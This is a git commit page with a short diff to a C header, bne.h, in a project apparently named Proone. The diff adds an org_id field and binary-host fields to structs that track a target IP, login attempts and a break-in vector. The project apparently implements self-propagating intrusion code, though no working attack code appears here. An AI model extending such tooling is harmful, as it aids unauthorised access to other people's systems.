aboutsummaryrefslogtreecommitdiff
path: root/src/bne.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-08-09 17:30:18 +1000
committerDavid Timber <mieabby@gmail.com>2021-08-09 19:20:40 +1000
commiteea0a9fbbf1aff1eac1f17914d5c116de98e1d93 (patch)
tree776e61c070d7afa0df683093b82f327631534341 /src/bne.h
parentf6e94a01fd84b693c5a74b8f40edb4dc89836bdf (diff)
Protocol and build system change ...
* Use autoheader * Add --enable-minmem * Add OS code. Bin archive and protocol changed accordingly * Add instance flags in hostinfo frame. Bitfield util added for this * Add org_id in hostinfo for lineage record * SQL schema change: store integer value of hostinfo arch and os * Remove config.c * prne_index_nybin() now sets errno * Instance ids are now preserved for lineage record * Proone: remove arguments after init * Fix bug in prne_htbt_ser_bin_meta(): alloc_len is not checked
Diffstat (limited to 'src/bne.h')
-rw-r--r--src/bne.h4
1 files changed, 3 insertions, 1 deletions
diff --git a/src/bne.h b/src/bne.h
index c1cdf36..a776f2b 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -56,6 +56,7 @@ struct prne_bne_param {
} cb;
void *cb_ctx;
const prne_rcb_param_t *rcb;
+ const uint8_t *org_id;
prne_ip_addr_t subject;
unsigned int login_attempt;
};
@@ -69,7 +70,8 @@ struct prne_bne_result {
int err;
prne_bne_vector_t vec;
prne_pack_rc_t prc;
- prne_arch_t arch;
+ prne_bin_host_t bin_host;
+ prne_bin_host_t bin_used;
bool ny_instance;
};